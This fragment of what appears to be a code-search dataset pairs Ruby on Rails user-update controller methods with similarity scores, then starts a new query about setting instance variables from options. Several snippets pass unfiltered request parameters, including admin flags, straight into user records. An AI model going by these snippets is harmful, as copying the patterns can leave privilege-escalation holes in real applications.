"docid": "568a6defa7393f06936468d8c0b16b0a", "score": "0.6656768", "text": "def update\n user = find_user\n user.update(user_params)\n render json: user\n end", "title": "" }, { "docid": "488fbded3c7b2d58be882d2aa457befb", "score": "0.665059", "text": "def update\n @user = User.find(params[:id])\n @user.name= params[:user][:name]\n @user.email = params[:user][:email]\n \n respond_to do |format|\n format.html { redirect_to users_url }\n format.json { render :json => @user }\n end\n\n end", "title": "" }, { "docid": "385ac3bc89323aa86c512d98dcdd5ca2", "score": "0.6647766", "text": "def update\n user = current_user\n if user.update(user_params)\n render json: user, status: 200, location: [:api_v1, user]\n else\n render json: { errors: user.errors }, status: 422\n end\n end", "title": "" }, { "docid": "ad24f5e6eb4f650ee4331cf5e038f10a", "score": "0.6625416", "text": "def update\n @admin_user = AdminUser.find(params[:id])\n\n respond_to do |format|\n if @admin_user.update_attributes(params[:admin_user])\n format.html { redirect_to @admin_user, :notice => 'AdminUser was successfully updated.' }\n format.json { head :no_content }\n else\n format.html { render :action => \"edit\" }\n format.json { render :json => @admin_user.errors, :status => :unprocessable_entity }\n end\n end\n end", "title": "" }, { "docid": "6dddecda0af050ef8d3106f31d2b76ef", "score": "0.6623862", "text": "def update\n\t\tif not self_reference_or_admin?\n\t\t\trender_unauthorized\n elsif @user.update(user_params)\n render json: @user\n else\n render json: @user.errors, status: :unprocessable_entity\n end\n end", "title": "" }, { "docid": "3251874b5ffa2e269b407972cd5875bc", "score": "0.6621244", "text": "def update\n @user = User.find(params[:id])\n authorize! :update, @user\n\n respond_to do |format|\n if @user.update_attributes(params[:user])\n format.html { redirect_to admin_users_path, notice: 'User was successfully updated.' }\n format.json { head :no_content }\n else\n format.html { render action: \"edit\" }\n format.json { render json: @user.errors, status: :unprocessable_entity }\n end\n end\n end", "title": "" }, { "docid": "9701fa7622582362b473432231ef2840", "score": "0.6620154", "text": "def update\n\t\tuser = find_user\n\t\tuser.update(user_params)\n\t\trender json: user\n\tend", "title": "" }, { "docid": "0c1d88a6a4cf4a5aff00bdd4b67eed08", "score": "0.66052747", "text": "def update\n if @user.update(user_params)\n render(json: @user.as_json, status: :ok) \n else\n render(json: {error: \"Erro ao atualizar usuário\"}, status: :ok) \n end\n end", "title": "" }, { "docid": "cd593b8d281f9ba376a1bc786702fe2f", "score": "0.6603852", "text": "def update(*args)\n arguments(args) do\n permit VALID_USER_PARAMS_NAMES\n end\n\n patch_request(\"/user\", arguments.params)\n end", "title": "" }, { "docid": "ffdb59071a95a760c0eeba26eabc1d3a", "score": "0.6602623", "text": "def update_user(options); end", "title": "" }, { "docid": "cfc6ffe9f5209d77af2d6585a38b45fe", "score": "0.6588273", "text": "def update\n @user = User.find(params[:id])\n\n respond_to do |format|\n if @user.update_attributes(params[:user])\n\t@user.roles.delete(Role.find_by_name(\"admin\"))\n if params[:admin] == \"true\"\n @user.roles << Role.find_by_name(\"admin\") \n end\n flash[:notice] = 'User was successfully updated.'\n format.html { redirect_to '/users' }\n format.xml { head :ok }\n else\n format.html { render :action => \"edit\" }\n format.xml { render :xml => @user.errors, :status => :unprocessable_entity }\n end\n end\n end", "title": "" }, { "docid": "ee8469657a745a084523cb63392c65d8", "score": "0.6584042", "text": "def update\n @user = User.find(params[:id])\n params[:user][:role_ids] ||= []\n @user.attributes = params[:user] \n\n # medida de segurança, ja que cada usuario podera alterar suas informações pessoais.\n if cannot? :manage, User\n params[:user].delete(:role_ids)\n params[:user].delete(:role_ids)\n params[:user].delete(:admin)\n end\n\n respond_to do |format|\n if @user.save(:validate => false)\n if can? :manage, User\n format.html { redirect_to @user, :notice => t('devise.crud.user_updated_successfully') }\n else\n format.html { redirect_to root_path, :notice => t('devise.crud.user_updated_successfully') }\n end \n format.json { head :no_content }\n else\n format.html { render :action => \"edit\" }\n format.json { render :json => @user.errors, :status => :unprocessable_entity }\n end\n end\n end", "title": "" }, { "docid": "e39775ceb8118dcc5cad0152557594d8", "score": "0.6581406", "text": "def update\n @user = User.find(params[:id])\n\n respond_to do |format|\n if @user.update_attributes(params[:user])\n format.html { redirect_to admin_user_url, notice: 'User was successfully updated.' }\n format.json { head :no_content }\n else\n format.html { render action: \"edit\" }\n format.json { render json: @user.errors, status: :unprocessable_entity }\n end\n end\n end", "title": "" }, { "docid": "219d065a999e45cde50662f63b10ded9", "score": "0.65766895", "text": "def upgrade\n authorize! :upgrade, User\n @user = User.find(params[:id])\n @user.update(admin: true)\n respond_to do |format|\n format.html { redirect_to users_url,\n notice: 'User was successfully upgraded' }\n format.json { head :no_content }\n end\n end", "title": "" }, { "docid": "fc0f39f918df73dd51cfeaa86b3a4b50", "score": "0.65739733", "text": "def update\n # retrieve user data from request (params)\n email = params[:email]\n\n # query DB for the specific user \n user = User.where(:email => email)\n\n @user = user.update(user_params) #update the user \n json_response(@user) # return created user, to signify that the user was updated\n end", "title": "" }, { "docid": "217f7e3df9df33fd177e4981724bcb59", "score": "0.6560401", "text": "def update\n @user = User.find(params[:id])\n\n respond_to do |format|\n if @user.update(user_params)\n \tformat.html { redirect_to :admin_users, notice: 'User was successfully updated.' }\n format.json { render :show, status: :ok, location: @user }\n else\n format.html { render :edit }\n format.json { render json: @user.errors, status: :unprocessable_entity }\n end\n end\n end", "title": "" }, { "docid": "ebb33c6dcd7b912a8ec83a71b6791ed1", "score": "0.65594655", "text": "def update\n respond_to do |format|\n if @admin_user.update(admin_user_params)\n format.html { redirect_to @admin_user, notice: 'Utilizador actualizada com sucesso.' }\n format.json { head :no_content }\n else\n format.html { render action: 'edit' }\n format.json { render json: @admin_user.errors, status: :unprocessable_entity }\n end\n end\n end", "title": "" }, { "docid": "f0c3d0a3daba316127a2d092baff50cf", "score": "0.6555568", "text": "def update\n if current_user.is_admin?\n @user = User.find(params[:id])\n\n respond_to do |format|\n if @user.update_attributes(params[:user])\n format.html { redirect_to @user, :notice => 'Usuario Actualizado!' }\n format.json { head :no_content }\n else\n format.html { render :action => \"edit\" }\n format.json { render :json => @user.errors, :status => :unprocessable_entity }\n end\n end\n else\n raise ActionController::RoutingError.new('Not Found')\n end\n end", "title": "" }, { "docid": "b38b754acdd4961a92e6484e5343569e", "score": "0.6555524", "text": "def update\n puts 'ran update in admin controller'\n @user = User.find(params[:id])\n if params[:user][:password].blank?\n params[:user].delete(:password)\n end\n \n respond_to do |format|\n if @user.update_attributes(user_params)\n format.html { redirect_to admin_users_path, :notice => 'User was successfully updated.' }\n format.json { head :ok }\n else\n format.html { render :action => \"edit\" }\n format.json { render :json => @user.errors, :status => :unprocessable_entity }\n end\n end\n end", "title": "" }, { "docid": "f2232536d3cf1f3f02bc5b90475f4ef0", "score": "0.6543306", "text": "def update\n authorize @user\n\n if @user.update(user_params)\n render json: { status: :ok, user: @user }\n else\n render json: { errors: @user.errors, status: :unprocessable_entity }\n end\n end", "title": "" }, { "docid": "c77c61632e7a5655fa8215c4d35a24f0", "score": "0.65408164", "text": "def update\n @user = User.find_by_name(params[:id])\n @user.update_attributes(params[:user])\n \n respond_with @user, :stautus => :ok\n end", "title": "" }, { "docid": "51bba0a3ae2a4119e7a3f1f7a9de82b9", "score": "0.6537519", "text": "def update\n respond_to do |format|\n if @admin.update_attribute(:name , params[:admin][:name]) | @admin.update_attribute(:right_sig_url , params[:admin][:right_sig_url]) |\n\t\t\t\t\t\t\t\t @admin.update_attribute(:mkt_place_url , params[:admin][:mkt_place_url]) |\n\t\t\t\t\t\t\t\t @admin.update_attribute(:phone , params[:admin][:phone]) |\n\t\t\t\t\t\t\t\t @admin.update_attribute(:fax , params[:admin][:fax])\n\t\t\t\t\t\t \n format.html { redirect_to @admin, notice: 'Admin user was successfully updated!' }\n format.json { render :show, status: :ok, location: @admin }\n\n else\n format.html { render :edit }\n format.json { render json: @admin.errors, status: :unprocessable_entity }\n end\n end\n end", "title": "" }, { "docid": "1e90e64af84b127b603915daa1af4d9d", "score": "0.6534018", "text": "def update\n respond_to do |format|\n if @admin_user.update(admin_user_params)\n format.html { redirect_to admin_users_path , notice: 'Usuário atualizado com sucesso.' }\n format.json { head :no_content }\n else\n format.html { render action: 'edit' }\n format.json { render json: @admin_user.errors, status: :unprocessable_entity }\n end\n end\n end", "title": "" }, { "docid": "01f126e6aa4a53b62f6542f2e69bbf12", "score": "0.65332276", "text": "def update\n respond_to do |format|\n if @admin_user.update(admin_user_params)\n format.html { redirect_to [:admin, @admin_user], notice: 'User was successfully updated.' }\n format.json { head :no_content }\n else\n format.html { render action: 'edit' }\n format.json { render json: @admin_user.errors, status: :unprocessable_entity }\n end\n end\n end", "title": "" }, { "docid": "f2311cf292680016035c4213cc419c6d", "score": "0.6532715", "text": "def update_user(id, options)\n patch(\"/users/#{id}\", options)\n end", "title": "" }, { "docid": "302fd13d7fd5b632d7924e0c6a21e2fd", "score": "0.6531841", "text": "def update_user(options)\n patch \"user\", options\n end", "title": "" }, { "docid": "9f603c0358b8112e785d50f2ab9bb32b", "score": "0.65254676", "text": "def update\n current_user.update(user_params)\n head :no_content\n end", "title": "" }, { "docid": "8cade912083e3e018feeeaaf930f4cf1", "score": "0.6522533", "text": "def update_user id, payload\n\t\t\t\t\t(@connection.put USERS, id, payload).code\n\t\t\t\tend", "title": "" }, { "docid": "18f12a44d2646af9dc7f75ae3e4b8b0e", "score": "0.6521833", "text": "def update\n @user.update(user_params)\n head :no_content\n end", "title": "" }, { "docid": "ac0f3e433c00f782b6fca1df1dbb7b37", "score": "0.6519202", "text": "def update\n respond_to do |format|\n if @useradmin.update(useradmin_params)\n format.html { redirect_to @useradmin, notice: 'Useradmin was successfully updated.' }\n format.json { render :show, status: :ok, location: @useradmin }\n else\n format.html { render :edit }\n format.json { render json: @useradmin.errors, status: :unprocessable_entity }\n end\n end\n end", "title": "" }, { "docid": "8a0afaa2e56be89a7e23748a7853e30e", "score": "0.6506194", "text": "def update\n respond_to do |format|\n if @user.update(admin_user_params)\n format.html { redirect_to admin_users_url, notice: 'User was successfully updated.' }\n format.json { render :show, status: :ok, location: @user }\n else\n format.html { render :edit }\n format.json { render json: @user.errors, status: :unprocessable_entity }\n end\n end\n end", "title": "" }, { "docid": "c17f29a46d10bc2738291200380d4401", "score": "0.65058994", "text": "def update\n @adminuser = Adminuser.find(params[:id])\n\n respond_to do |format|\n if @adminuser.update_attributes(params[:adminuser])\n format.html { redirect_to @adminuser, notice: 'Adminuser was successfully updated.' }\n format.json { head :no_content }\n else\n format.html { render action: \"edit\" }\n format.json { render json: @adminuser.errors, status: :unprocessable_entity }\n end\n end\n end", "title": "" }, { "docid": "f7adbb3b2fe7765b911db7dbac7ea633", "score": "0.6502144", "text": "def update\n respond_to do |format|\n if @user.update(user_params)\n format.html { redirect_to [:admin, @user], notice: 'Пользователь был успешно обновлён.' }\n format.json { render :show, status: :ok, location: @user }\n else\n format.html { render :edit }\n format.json { render json: @user.errors, status: :unprocessable_entity }\n end\n end\n end", "title": "" }, { "docid": "338e8771f8a2aa9995b9b49e0456ddae", "score": "0.65012026", "text": "def update\n authorize! :update, Admin::User.new(admin_user_params)\n if @admin_user.update(admin_user_params)\n flash[:success] = t('notices.updated_successfully')\n index\n end\n end", "title": "" }, { "docid": "d93b3aa6659ae62851c0e2c5b2aff72c", "score": "0.6499478", "text": "def update\n @user_1 = User1.find(params[:id])\n\n respond_to do |format|\n if @user_1.update_attributes(params[:user_1])\n format.html { redirect_to @user_1, notice: 'User 1 was successfully updated.' }\n format.json { head :ok }\n else\n format.html { render action: \"edit\" }\n format.json { render json: @user_1.errors, status: :unprocessable_entity }\n end\n end\n end", "title": "" }, { "docid": "0fdd88796b7c73cdc18a4db6b9a40b15", "score": "0.64949614", "text": "def update\n @user = User.find(params[:id])\n authorize! :update, @user\n\n @user.name = params[:user][:name]\n @user.institution = params[:user][:institution]\n @user.description = params[:user][:description]\n @user.approved = params[:user][:approved]\n @user.admin = params[:user][:admin]\n\n respond_to do |format|\n if @user.save\n format.html { redirect_to @user, notice: 'User was successfully updated.' }\n format.json { head :no_content }\n else\n format.html { render action: \"edit\" }\n format.json { render json: @user.errors, status: :unprocessable_entity }\n end\n end\n end", "title": "" }, { "docid": "257b82e17e5b1f88db9df740805e6185", "score": "0.6480764", "text": "def update\n if @user.update(user_params)\n render json: @user\n else\n render json: { status: 400, msg: 'Something went wrong' }\n end\n end", "title": "" }, { "docid": "072e5b03e910a6eec48902b51969403c", "score": "0.64778495", "text": "def update \n @user = User.find(params[:id])\n if @user.update(user_params)\n render json: @user \n else \n render status: 400, nothing: true \n end \n end", "title": "" }, { "docid": "f61ed65c48b077bc154e69f0812d400e", "score": "0.6475928", "text": "def update\n @user = User.find(params[:id])\n\n if params[:user][:roles]==\"1\" && @user.is_admin?\n @user.remove_role 'admin'\n elsif params[:user][:roles]==\"1\"\n print \"asdasdasdasd\"\n @user.add_role 'admin'\n end\n\n params[:user].delete(\"roles\")\n\n respond_to do |format|\n if @user.update_attributes(params[:user])\n format.html { redirect_to :admin_user, notice: 'User was successfully updated.' }\n format.json { head :no_content }\n else\n format.html { render action: \"edit\" }\n format.json { render json: @user.errors, status: :unprocessable_entity }\n end\n end\n end", "title": "" }, { "docid": "e55f91dd440cf6ac3cf217a1986dfff8", "score": "0.6472235", "text": "def update\n user = User.find(params[:id])\n user.admin = true\n user.save(user_params)\n\n Request.where(:user_id => params[:id]).destroy_all unless !super_admin?\n Request.where(:user_id => params[:id]).update_all(status: true, accepted_by: cookies.signed[:current_username]) unless super_admin?\n\n flash[:error] = \"#{user.username} is now an administrator\"\n redirect_to :admin_users\n end", "title": "" }, { "docid": "766d22de8df3a4f1ee7f0469865575e5", "score": "0.6469547", "text": "def update\n #@admin = Admin.find(params[:id])\n respond_to do |format|\n if @user.update(user_params)\n format.html { redirect_to new_education_url, notice: 'User was successfully updated.' }\n format.json { render json: @user, status: :ok }\n else\n format.html { render :edit }\n format.json { render json: {:errors => @user.errors}, status: :bad_request }\n end\n end\n end", "title": "" }, { "docid": "29ffafd0a884c0baaf0c44106d79b94e", "score": "0.64694554", "text": "def update\n if @user.update(user_params)\n render json: @user \n else\n render json: @user.errors, status: :unprocessable_entity\n end\n end", "title": "" }, { "docid": "018e1818e03cc3d12f1b20effb2bc0a8", "score": "0.6467794", "text": "def update\n if @user.update(user_params)\n render json: @user\n else\n render json: @user.errors, status: :unprocessable_entity\n end\n end", "title": "" }, { "docid": "018e1818e03cc3d12f1b20effb2bc0a8", "score": "0.6467794", "text": "def update\n if @user.update(user_params)\n render json: @user\n else\n render json: @user.errors, status: :unprocessable_entity\n end\n end", "title": "" }, { "docid": "018e1818e03cc3d12f1b20effb2bc0a8", "score": "0.6467794", "text": "def update\n if @user.update(user_params)\n render json: @user\n else\n render json: @user.errors, status: :unprocessable_entity\n end\n end", "title": "" }, { "docid": "0c6476ef6a283ef342d6514756380eec", "score": "0.6466736", "text": "def edit\n user = User.find(params[:id])\n render json: user, only: [:username, :name, :location, :bio, :resource_request, :skills, :seeking, :preferred_contact], status: 200\n end", "title": "" }, { "docid": "d190f524c5924d87588ecb666cbf5cc4", "score": "0.64664227", "text": "def update\n @user = User.find(params[:id])\n \n if @user.update(user_params)\n render json: @user, status: :ok \n else\n render json: @user.errors, status: :unprocessable_entity\n end\n end", "title": "" }, { "docid": "ef6c6cbfc7de8fe531f74bc52240477b", "score": "0.6456527", "text": "def update\n user = User.find(params[:user][:user_id])\n params[:user].delete(:user_id)\n user.update(update_params)\n render json: { message: 'user updated' }\n end", "title": "" }, { "docid": "999ac837f35b530d4bd762c41f60ff19", "score": "0.64562106", "text": "def update\n if @user.update(user_params)\n render json: @user\n else\n render json: @user.errors.full_messages, status: :unprocessable_entity\n end\n end", "title": "" }, { "docid": "9189a2c5d1e75ebc8b69da8f8af5388f", "score": "0.6454627", "text": "def update\n respond_to do |format|\n if @admin_user.update(admin_user_params)\n format.html { redirect_to [:admin,@admin_user], notice: 'Utilizador actualizado com sucesso.' }\n format.json { head :no_content }\n else\n format.html { render action: 'edit' }\n format.json { render json: @admin_user.errors, status: :unprocessable_entity }\n end\n end\n end", "title": "" }, { "docid": "6605dd0c30f524da6cac770907e81f0a", "score": "0.64541024", "text": "def update\n respond_to do |format|\n if @admin_user.update(admin_user_params)\n format.html { redirect_to admin_users_path, notice: \"User was successfully updated.\" }\n else\n format.html { render :edit, status: :unprocessable_entity }\n format.json { render json: @admin_user.errors, status: :unprocessable_entity }\n end\n end\n end", "title": "" }, { "docid": "cd5963d908b40b1b87884d30b85d7a1e", "score": "0.64527386", "text": "def update\n user = current_user\n if user.update(user_params)\n render json: user, status: 200, location: [:api, user]\n else\n failed_to_update(user, \"user\")\n end\n end", "title": "" }, { "docid": "75af24679c34d96469b2145fcf29a134", "score": "0.6451098", "text": "def edit\n user = User.find(params[:id])\n render json: user \n end", "title": "" }, { "docid": "ef86e31e230f2cf2499d83448f680ebc", "score": "0.6451084", "text": "def update\n respond_with User.update(params[:id],params[:user])\n end", "title": "" }, { "docid": "303ac2c9f9bba6c9828750fdbf6b2062", "score": "0.6450718", "text": "def update\n respond_to do |format|\n if @admin_user.update_attributes(admin_user_params)\n format.html { redirect_to :back, notice: 'User was successfully updated.' }\n format.json { render :show, status: :ok, location: [:admin, @admin_user] }\n else\n flash[:error] = @admin_user.errors.as_json\n format.html { render :edit }\n format.json { render json: @admin_user.errors, status: :unprocessable_entity }\n end\n end\n end", "title": "" }, { "docid": "5437f22c4049a5ae95062fae4826accf", "score": "0.6449943", "text": "def update\n if current_user.id != @user.id\n require_admin or return\n end\n respond_to do |format|\n if @user.update(user_params)\n format.html { redirect_to @user, notice: 'User was successfully updated.' }\n format.json { render :show, status: :ok, location: @user }\n else\n format.html { render :edit }\n format.json { render json: @user.errors, status: :unprocessable_entity }\n end\n end\n end", "title": "" }, { "docid": "80e7b0afa5cc4038fef85a7d7967666c", "score": "0.6447926", "text": "def update\n @user = User.find(params[:id])\n\t\n if @user.update(user_params(params[:user]))\n head :no_content\n else\n render json: @user.errors, status: :unprocessable_entity\n end\n end", "title": "" }, { "docid": "2dc50f32a6a1be907e61d6655f19f1ba", "score": "0.64465225", "text": "def update\n user = User.find(params[:id])\n user.update(user_params)\n if user.valid?\n render json: user\n else\n render json: user.errors, status: :unprocessable_entity\n end\n end", "title": "" }, { "docid": "87d9531d6b29bdc2958b3f6ea30ef22c", "score": "0.64427227", "text": "def update\n return unless roleValid?([User::ROLE_ADMIN], 'user administration')\n # logger.info(\"=== params: #{params.inspect}\")\n @user = User.find(params[:id]) \n\n respond_to do |format|\n #if @user.update_attributes(params[:user])\n\t if @user.update_attributes(params.require(:user).permit(:role, :firstname, :lastname))\n\n\t\t#if @user.save\n \tformat.html { redirect_to users_url,\n \tnotice: 'User was successfully updated.' }\n \tformat.json { head :no_content }\n \telse\n \tformat.html { render action: \"edit\" }\n\t\t\t#format.html { render action: errAction }\n \tformat.json { render json: @user.errors,\n status: :unprocessable_entity }\n end\n end\n end", "title": "" }, { "docid": "8dbd48203743af5c9b8528602cc51c96", "score": "0.64406234", "text": "def update\n respond_to do |format|\n if @admin_user.update(admin_user_update_params)\n format.html { redirect_to admin_users_path, notice: 'Admin user was successfully updated.' }\n format.json { render :show, status: :ok, location: @admin_user }\n else\n format.html { render :edit }\n format.json { render json: @admin_user.errors, status: :unprocessable_entity }\n end\n end\n end", "title": "" }, { "docid": "2eff4d68823f69bbb610bfbf31a65ce1", "score": "0.6437327", "text": "def update\n\n @user = User.find(params[:id])\n\n respond_to do |format|\n if @user.update_attributes(params[:user])\n format.html { redirect_to admin_user_path(@user), notice: t('user.updated') }\n format.json { head :ok }\n else\n format.html { render action: t('edit') }\n format.json { render json: @user.errors, status: :unprocessable_entity }\n end\n end\n end", "title": "" } ]
5c2efa9bad0cb7cad69288eb490002f3
sets instance variables based on options, not limited to attr_accesor values
[ { "docid": "c3a4e0b54b0a0dd5d80a07c3223a9d64", "score": "0.631515", "text": "def initialize(options = {})\n options.keys.each do |key|\n self.instance_variable_set(\"@#{key.to_s}\",options[key])\n end\n end", "title": "" } ]
[ { "docid": "019d0ccbd51d3c97e927025f7d35b997", "score": "0.80710375", "text": "def set_attributes\n ATTRIBUTES.each do |attr|\n opts_value = @options[attr]\n fail \"Attribute #{attr} is nil\" if opts_value.nil?\n instance_variable_set attr.to_instance, opts_value\n end\n end", "title": "" }, { "docid": "565729caf2675c95b9ad3e97527e9fed", "score": "0.7425442", "text": "def initialize options={}\n ATTRIBUTES.each do |attribute|\n instance_variable_set \"@#{attribute}\", options[attribute] || options[attribute.to_sym]\n end\n end", "title": "" }, { "docid": "23007b3d3e1b64d4516adf686a285736", "score": "0.7180381", "text": "def initialize(options={})\n #using the send keyword to set the key in this hash to the variable and then setting that equal to the value\n #like name = the name value passed in. This works as long as there are attr_accessors for everything.\n options.each do |property, value|\n self.send(\"#{property}=\", value)\n end\n end", "title": "" }, { "docid": "c2c55665efbc87f5e148d8cc8f09ad11", "score": "0.70697546", "text": "def initialize(options = {})\n %i[empty default type notes validate_with select_from allow_blank allow_change allow_display units definer].each do |attribute|\n instance_variable_set \"@#{attribute}\".to_sym, options[attribute]\n end\n end", "title": "" }, { "docid": "ed4c46d0a701cbd7d28c6e0be182a5f0", "score": "0.7019063", "text": "def initialize(options={})\n raise TypeError, 'options must be a Hash or respond to #to_h' unless options.is_a?(Hash) || options.respond_to?(:to_h) || options.respond_to?(:to_hash)\n options = options.to_h rescue options.to_hash\n \n ATTRIBUTES.each do |attribute|\n send( \"#{attribute}=\", options[attribute] ) if options.has_key?(attribute)\n end\n end", "title": "" }, { "docid": "67bf2f732e7f660375cfb9740e9d08b7", "score": "0.6990116", "text": "def set_attributes(options)\n options.keys.each do |opt_name|\n instance_variable_set(\"@#{opt_name}\", options[opt_name])\n client.config.user_agent_frameworks << 'aws-sdk-rails' if opt_name == :client\n end\n end", "title": "" }, { "docid": "80c816c3406ff1a3b4cb8c045f859482", "score": "0.6958902", "text": "def initialize(options = {})\n options.each do |k,v|\n attr = k.to_s.underscore\n method = :\"#{attr}=\"\n\n send(method, v) if self.class.method_defined?(method)\n end\n end", "title": "" }, { "docid": "70aa8ea9b731d8f9e78854e1c9afc420", "score": "0.694108", "text": "def set_options_attributes(opts={})\n @options = opts\n if opts.kind_of? Hash\n opts.each do |k,v| \n self.send(\"#{k.to_sym}=\",v) if self.respond_to? k.to_sym\n puts \"@#{k} -> #{v}\"\n # instance_variable_set( \"@#{k}\", v ) \n end\n end\n end", "title": "" }, { "docid": "85033159994a5e0404547a9091869cce", "score": "0.69192374", "text": "def set_options(options, defaults = {})\r\n options = defaults.merge(options)\r\n \r\n options.each do |attr,value|\r\n setter = \"#{attr}=\"\r\n\r\n if self.respond_to?(setter)\r\n self.send(setter, value)\r\n else\r\n self.instance_variable_set(\"@#{attr.to_s}\", value)\r\n end\r\n end\r\n end", "title": "" }, { "docid": "b4b187b6893f3d7b0ab126f9d9a8f6b9", "score": "0.6892716", "text": "def set_attributes opts\n # Extract known attributes given in opts, to be set after object initialization\n attributes = self.class.attributes.map do |name, default|\n value = opts.delete name\n result = if default.nil? # No default, return whatever value\n value\n elsif default.respond_to? :call # Default is callable, call it with whatever value\n default.call *value\n else # Return either non-nil value or default\n value.nil? ? default : value\n end\n [name, result] unless result.nil?\n end.compact\n yield opts if block_given?\n attributes.each { |(name, value)| send \"#{name}=\", *value }\n end", "title": "" }, { "docid": "d2134e35d426a81adbbd1ffac6923ea7", "score": "0.68428814", "text": "def process_options(options)\n options.each do |k, v|\n instance_variable_set(\"@#{k}\", v)\n singleton_class.class_eval { attr_reader k }\n end\n end", "title": "" }, { "docid": "d9fb1c26566a67db525c7a9fcd4c604b", "score": "0.6813788", "text": "def initialize(attrs={})\n attrs = Orkut.options.merge(attrs)\n Config::VALID_OPTIONS_KEYS.each do |key|\n instance_variable_set(\"@#{key}\".to_sym, attrs[key])\n end \n end", "title": "" }, { "docid": "daac8c50d385a9e77aa3c20033991c04", "score": "0.680949", "text": "def set_attributes(*args)\n options = args && args.extract_options! || {}\n options.each do |attr_name,value|\n self.send(\"#{attr_name}=\".to_sym,value)\n end\n end", "title": "" }, { "docid": "c00d203d55090fcca5ecba781bae6cf8", "score": "0.67974377", "text": "def initialize(options = {})\n\n attributes = DEFAULT_ATTRS.merge options if options.is_a? Hash\n\n attributes.each { |k,v| instance_eval(\"@#{k}='#{v}'\") if DEFAULT_ATTRS.keys.include?(k) }\n\n end", "title": "" }, { "docid": "1c70c6dd5ff1c6c9cd65731bd27205c6", "score": "0.6788878", "text": "def attr_options; end", "title": "" }, { "docid": "4eecef7ed3144ee40af6ccfc139a269f", "score": "0.67527723", "text": "def initialize(attrs={})\n attrs = Underskog.options.merge(attrs)\n Config::VALID_OPTIONS_KEYS.each do |key|\n instance_variable_set(\"@#{key}\".to_sym, attrs[key])\n end\n end", "title": "" }, { "docid": "fc0b0190ead0c915bdb7c88ad5f7042a", "score": "0.6708795", "text": "def init(options = {})\n\t\tdefaults = {:year => Constant.constants[:cur_year], :status => 'Accepted', :id=>Mentor.new_id}\n \t\toptions = defaults.merge(options)\n \t\tputs options\n\t \toptions.keys.each do |attribute|\n\t \tself[attribute] = options[attribute] \t\n\t \tend\n\t \t#puts self.attributes\n\tend", "title": "" }, { "docid": "94bea4aec20680f24b3c8cde5d324742", "score": "0.67030233", "text": "def initialize(options = {})\n options.each do |k,v|\n begin\n send(\"#{k}=\", v)\n rescue NoMethodError\n raise NoAttributeError.new(self, k)\n end\n end\n end", "title": "" }, { "docid": "1adb6d9a45bc9ec46e119d3aa2d21bd5", "score": "0.6696462", "text": "def set_options(**opts)\n opts.each{|var, opt| self.instance_variable_set \"@#{var}\".to_sym, opt }\n end", "title": "" }, { "docid": "26f30ddc04087d65d4141ed2652248a9", "score": "0.6695386", "text": "def setup\n text @options[:text] if @options[:text]\n\n add_class @options[:class] if @options[:class]\n\n list_of_approved_attributes = [:placeholder]\n list_of_approved_attributes.each do |attribute_name|\n attr attribute_name,@options[attribute_name] if @options[attribute_name]\n end\n #TODO add handling for style attribute\n\n end", "title": "" }, { "docid": "d0fc98af9287ba394c6c03f67ebfbf54", "score": "0.66555876", "text": "def initialize(options)\n options.each do |name, value|\n instance_variable_set(\"@#{name}\", value)\n end\n end", "title": "" }, { "docid": "d0fc98af9287ba394c6c03f67ebfbf54", "score": "0.66555876", "text": "def initialize(options)\n options.each do |name, value|\n instance_variable_set(\"@#{name}\", value)\n end\n end", "title": "" }, { "docid": "adf37f4e4d05324fb76ed24d1921e7e9", "score": "0.6625964", "text": "def assign(opts)\n opts.each do |attr, val|\n # tricky: don't create an instance variable if \n # value is nil OR value is false\n if val\n instance_variable_set(\"@#{attr}\", val) \n # create read-only accessor\n self.class.send(:define_method, attr.to_s) do \n instance_variable_get(\"@\" + attr.to_s)\n end\n\n validable << attr.to_s\n end\n end \n end", "title": "" }, { "docid": "b01a0924d85cb8234d40a1c4b84d43b6", "score": "0.66123074", "text": "def initialize(attrs={})\n attrs = Flattr.options.merge(attrs)\n Config::VALID_OPTIONS_KEYS.each do |key|\n instance_variable_set(\"@#{key}\".to_sym, attrs[key])\n end\n end", "title": "" }, { "docid": "91d6a794a44431e421e1ebc8a851a070", "score": "0.66029", "text": "def initialize(attrs={})\n attrs = StatRaptor.options.merge(attrs)\n Config::VALID_OPTIONS_KEYS.each do |key|\n instance_variable_set(\"@#{key}\".to_sym, attrs[key])\n end\n end", "title": "" }, { "docid": "0f0deb2059385fe3eea84406858c6cd4", "score": "0.65926456", "text": "def attr_accessor(*args)\n send :class_variable_set, \"@@attributes\", args\n super\n end", "title": "" }, { "docid": "a5643dbc5e3b1f40e90b9182db7cef69", "score": "0.657001", "text": "def initialize(attrs={})\n attrs = Oahu.options.merge(attrs)\n Config::VALID_OPTIONS_KEYS.each do |key|\n instance_variable_set(\"@#{key}\".to_sym, attrs[key])\n end\n end", "title": "" }, { "docid": "1eb3d4d0a880619f290c30af945fa686", "score": "0.6569509", "text": "def process_options(options={})\n unless options.empty?\n options.each do |attribute, value|\n self.__send__(\"#{attribute.to_s}=\".to_sym, value)\n end\n end\n end", "title": "" }, { "docid": "261a7f99feffa4473b4fddac3ab1fbbb", "score": "0.6566534", "text": "def initclass(klass, options)\n klass.initvars if klass.respond_to? :initvars\n\n if attrs = options[:attributes]\n attrs.each do |param, value|\n method = param.to_s + \"=\"\n klass.send(method, value) if klass.respond_to? method\n end\n end\n\n [:include, :extend].each do |method|\n if set = options[method]\n set = [set] unless set.is_a?(Array)\n set.each do |mod|\n klass.send(method, mod)\n end\n end\n end\n\n klass.preinit if klass.respond_to? :preinit\n end", "title": "" }, { "docid": "27fc74acd2a208543cdf6d992ffe7c63", "score": "0.6536264", "text": "def initialize(options={})\n options.each { |k,v| self.send(\"#{k}=\", v) if self.respond_to?(\"#{k}=\") }\n end", "title": "" }, { "docid": "81301ab6519eb564a758ae03ae0f5e6f", "score": "0.6528074", "text": "def initialize(options = {})\n @kml_id = \"#{Kamelopard.id_prefix}#{self.class.name.gsub('Kamelopard::', '')}_#{ Kamelopard.get_next_id }\"\n @master_only = false\n\n options.each do |k, v|\n method = \"#{k}=\".to_sym\n if self.respond_to? method then\n self.method(method).call(v)\n else\n raise \"Warning: couldn't find attribute for options hash key #{k}\"\n end\n end\n end", "title": "" }, { "docid": "b9700e07fc1248a9de14ed2d38103df8", "score": "0.65217316", "text": "def initialize(options={}) #design initialize to take any argument by taking a hash\n options.each do |property, value|\n self.send(\"{property}=\",value)\n end\n end", "title": "" }, { "docid": "a9c436cafaae014feeae4b79925ffc6c", "score": "0.6518951", "text": "def initialize(options = {})\n options.each_pair do |key, value|\n self.send(\"#{key}=\", value) if self.respond_to?(\"#{key}=\")\n end\n instance_variables.each {|v| v ||= 0}\n end", "title": "" }, { "docid": 